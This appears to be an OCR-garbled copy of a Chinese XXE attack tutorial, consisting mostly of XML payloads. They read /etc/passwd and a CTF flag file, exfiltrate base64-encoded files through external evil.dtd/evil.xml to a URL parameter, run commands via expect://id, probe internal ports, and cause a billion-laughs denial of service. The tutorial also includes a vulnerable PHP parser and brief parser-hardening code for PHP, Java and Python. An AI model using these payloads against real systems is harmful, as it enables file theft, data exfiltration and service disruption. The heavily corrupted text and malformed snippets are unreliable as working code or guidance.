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<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [

<!IENTITY writer "Dawn">

<!IENTITY copyright "Copyright W3School.com.cn">
1>

<test>&writer;Oright;</test>
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<!ENTITY 3EfKZFR SYSTEM "URI/URL">
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<?xml version = "1.0" encoding = "utf-8"?>

<IDOCTYPE test [

<IENTITY file SYSTEM "file:///etc/passwd">

<IENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
1>

<author>&file;Oright;</author>
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<?xml version="1.0"?>
<!DOCTYPE ANY [

<IENTITY test SYSTEM "file:///etc/passwd">
1>

<abc>&test;</abc>

MIEDTDICRISI ASMBDTDICR, B3I ASMSE AR B, XMLA 200 T



<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&bj;</abc>

evil.dtd N % :

<IENTITY b SYSTEM "file:///etc/passwd">
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<?xml version="1.0"?>
<IDOCTYPE a [
<VENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
1>

<abc>&bj</abe>

evil.dtd iy %&:

<IENTITY b SYSTEM "file:///etc/passwd">
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<?xml version="1.0"?>
<!DOCTYPE a [
<IENTITY d SYSTEM "http://localhost/evil.xml">

1>

<abc>&d;</abc>
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "file:///c://test/1.txt">
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd; %all;

1>

<abc>&send;</abc>

Hrhevilxml>XX R AR

<IENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;

%send;

1>

<abc></abc>

Hrbevil xmist RN ERN:

<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file; " '>"> %payload;
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<?php
$xml = simplexml_load_string($_REQUEST['xml']); echo "<pre>" ; print_r($xml);//EREZIERINE

f& T R BUE R U
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<?xml version="1.0"?>

<!DOCTYPE ANY [

<!IENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
1>

<abc>&test;</abc>
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<?xml version="1.0"?>
<!DOCTYPE a [
<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/pa
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;
%send;

1>

<abc></abc>
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<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;"'>"> %payload;
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<?xml version="1.0"?>
<IDOCTYPE lolz [
lol "lol">

<IENTITY
<IENTITY
<!ENTITY
<IENTITY
<!ENTITY
<!ENTITY
<IENTITY
<IENTITY
<IENTITY

1>

lol2
lol3
lola
lol5s
lole
lol7
lol8
lol9

"&lol;&lol;&lol;&lol;&1lol;&1l0l;&lol;&lol;&1lol;&10l1;">
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"&1014;8&1014;8&1014;8&1014;8&1014;&1014;8&1014;8&1014;&1014;&1014;">
"&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&l015;">
"&1016;&1016;&1016;&1016;&1016;&1016;&1016;8&1016;&1016;&1016;">
"&1017;8&1017;8&1017;&1017;&1017;&1017;8&1017;8&1017;&1017;&1017;">
"&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;">

<lolz>&lol9;</lolz>
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<?xml version="1.0"?>
<!DOCTYPE ANY [
<IENTITY test SYSTEM "expect://id">

1>

<abc>&test;</abc>
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<?xml version="1.0"?>
<!DOCTYPE ANY [
<!IENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">

1>

<abc>&test;</abc>
X O FF BN, 80 1«
L HORFF, n81m H:

B B AF L

<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">

<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;

1>

<abc></abc>
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<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
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<?xml version="1.0"?>

<IDOCTYPE a[

<IENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<abc>&xxe;</abc>
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SIFHNEPEIE : <!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
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PHP

libxml disable entity loader (true);

JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newlInstance()
dbf.setExpandEntityReferences (false);

Python

from lxml import etree xmlData =

etree.parse (xmlSource, etree.XMLParser (resolve entities=False))

if g8 F PR A X MLE R

T UEKEEF: <! DOCTYPEM< ! ENTITY, BLESYSTEMMPUBLIC,

SE B
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